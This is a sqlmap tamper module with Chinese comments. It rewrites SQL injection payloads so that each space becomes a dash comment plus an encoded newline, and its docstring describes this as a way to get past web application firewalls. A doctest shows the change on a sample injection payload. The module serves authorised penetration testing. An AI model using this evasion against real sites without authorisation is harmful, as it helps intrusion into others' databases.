#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os

# 从lib.core.common模块中导入singleTimeWarnMessage函数
from lib.core.common import singleTimeWarnMessage
# 从lib.core.compat模块中导入xrange函数
from lib.core.compat import xrange
# 从lib.core.enums模块中导入DBMS枚举和PRIORITY枚举
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

# 设置脚本的优先级为LOW
__priority__ = PRIORITY.LOW

# 定义dependencies函数，用于检查脚本依赖
def dependencies():
    # 输出警告信息，说明该脚本只能用于MySQL数据库
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')

    Requirement:
        * MySQL
        * MSSQL

    Notes:
        * Useful to bypass several web application firewalls.

    >>> tamper('1 AND 9227=9227')
    '1--%0AAND--%0A9227=9227'
    """

    retVal = ""

    # 如果payload不为空
    if payload:
        # 遍历payload的每个字符
        for i in xrange(len(payload)):
            # 如果字符是空格
            if payload[i].isspace():
                # 将"--%0A"添加到retVal中
                retVal += "--%0A"
            # 如果字符是#或者字符是--
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                # 将payload的剩余部分添加到retVal中
                retVal += payload[i:]
                # 跳出循环
                break
            # 否则
            else:
                # 将字符添加到retVal中
                retVal += payload[i]

    # 返回retVal
    return retVal
